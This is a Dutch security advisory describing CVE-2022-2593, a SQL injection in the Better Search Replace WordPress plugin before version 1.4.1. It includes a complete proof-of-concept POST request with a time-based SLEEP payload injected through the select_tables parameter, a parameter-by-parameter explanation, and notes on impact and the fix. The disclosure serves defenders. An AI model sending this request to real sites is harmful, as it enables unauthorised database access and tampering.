SQL-injectiekwetsbaarheid in de Better Search Replace WordPress-plugin

SQL-injectiekwetsbaarheid in de Better Search Replace WordPress-plugin
MijnSecurityPartner

SQL-injectiekwetsbaarheid in de Better Search Replace WordPress-plugin

Een van de onderzoekers van MijnSecurityPartner.nl heeft onlangs een code-audit uitgevoerd op verschillende populaire WordPress-plugins. Tijdens deze beoordeling ontdekte de beveiligingsonderzoeker een kwetsbaarheid in de Better Search Replace WordPress-plugin. De kwetsbaarheid, aangeduid als CVE-2022-2593, maakt de plugin vatbaar voor een SQL-injectieaanval, die mogelijk kan worden misbruikt door gebruikers met hoge privileges om willekeurige SQL-statements uit te voeren. Dit artikel geeft gedetailleerde informatie over de kwetsbaarheid en de impact ervan, samen met aanbevolen maatregelen om het risico te beperken.

De Better Search Replace WordPress-plugin voorafgaand aan versie 1.4.1 is vatbaar voor een SQL-injectieaanval, die kan worden misbruikt door gebruikers met hoge privileges om willekeurige SQL-statements uit te voeren. De plugin slaagt er niet in om tabelgegevens op de juiste manier te saneren en te escapen voordat deze worden opgenomen in SQL-query's, wat kan leiden tot mogelijke manipulatie van databasequery's.

De kwetsbaarheid kan worden geactiveerd door een gemanipuleerd POST-verzoek naar het endpoint better-search-replace te sturen. In de code van de plugin wordt het parameter select_tables onvoldoende gezuiverd, waardoor een aanvaller kwaadaardige SQL-code kan injecteren in de query.

Proof of Concept

Een aanvaller kan misbruik maken van deze kwetsbaarheid door een POST-verzoek naar het volgende endpoint te sturen:

POST /wp-admin/tools.php?page=better-search-replace&bsr-ajax=process_search_replace HTTP/1.1
Host: [target_host]
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 369
Connection: close
Cookie:[admin+]

bsr_ajax_nonce=3c38e50368&action=process_search_replace&bsr_step=0&bsr_page=0&bsr_data=search_for%3Daaa%26replace_with%3Dcef%26select_tables%255B%255D%3Dwp_posts%60%20WHERE%201=SLEEP(1)%20--%20%26dry_run%3Don%26bsr_nonce%3Da66e81c52b%26_wp_http_referer%3D%252Fwordpress%252Fwp-admin%252Ftools.php%253Fpage%253Dbetter-search-replace%26action%3Dbsr_process_search_replace

In het bovenstaande verzoek wordt een POST-verzoek verzonden naar het endpoint /wp-admin/tools.php?page=better-search-replace&bsr-ajax=process_search_replace. De body van het verzoek bevat de volgende parameters:

  • bsr_ajax_nonce: Nonce-waarde voor authenticatie.
  • action: Specificeert de uit te voeren actie, in dit geval process_search_replace.
  • bsr_step en bsr_page: Parameters met betrekking tot het zoek- en vervangproces, deze kunnen beide worden ingesteld op een willekeurige numerieke waarde voor het misbruik om te werken. In dit geval zijn ze ingesteld op 0.
  • bsr_data: De bsr_data bevat een URL-gecodeerde tekenreeks met specifieke parameters voor de plugin:
    • select_tables: Deze parameter is de daadwerkelijke parameter die de SQL-payload injecteert. In dit geval probeert de payload een SQL-injectie uit te voeren door een kwaadaardige WHERE-clausule toe te voegen: wp_posts` WHERE 1=SLEEP(1) -- . Het dubbele streepje "--" commentarieert het overige deel van de oorspronkelijke SQL-query uit.
    • dry_run: Geeft aan of de zoek- en vervangoperatie moet worden uitgevoerd of gesimuleerd. In beide gevallen is er sprake van een kwetsbaarheid.
    • bsr_nonce: Nonce-waarde voor verificatie van het verzoek.
    • _wp_http_referer: Verwijst naar de URL van de vorige pagina.
    • action: Specificeert opnieuw de actie, in dit geval bsr_process_search_replace.

De kwetsbaarheid ontstaat door een fout in de manier waarop de Better Search Replace-plugin tabelnamen verwerkt bij het construeren van SQL-query's. Hoewel de plugin de door WordPress geleverde sql_esc-functie gebruikt om de meeste invoer te saneren, slaagt deze er niet in om backticks op de juiste manier te saneren bij het construeren van SQL-query's voor tabelnamen. Hierdoor kan een aanvaller het opschoningsmechanisme omzeilen en kwaadaardige SQL-code injecteren om van deze fout gebruik te maken.

Impact:

Om misbruik te maken van deze SQL-injectiekwetsbaarheid moet de aanvaller toegang hebben tot een account met hoge privilege-niveaus, zoals een beheerdersaccount. Succesvol misbruik kan de aanvaller in staat stellen willekeurige SQL-query's uit te voeren binnen de context van de WordPress-database. Dit kan leiden tot ongeautoriseerde toegang, manipulatie van gegevens of zelfs een volledige compromittering van de server waarop de database draait.

Oplossing:

Om deze kwetsbaarheid aan te pakken, hebben de beheerders van de plugin de code herzien om de geldigheid van tabelnamen te controleren voordat ze in SQL-query's worden gebruikt. Ze hebben een mechanisme geïmplementeerd om de geldigheid van tabelnamen te controleren aan de hand van de bestaande tabellen in de database, waardoor SQL-injectieaanvallen worden voorkomen.

Getroffen versies:

De SQL-injectiekwetsbaarheid bestaat in de Better Search Replace WordPress-pluginversies voorafgaand aan 1.4.1. Het wordt aangeraden dat alle gebruikers van deze plugin upgraden naar de nieuwste versie om het risico dat gepaard gaat met deze kwetsbaarheid te beperken.

Referenties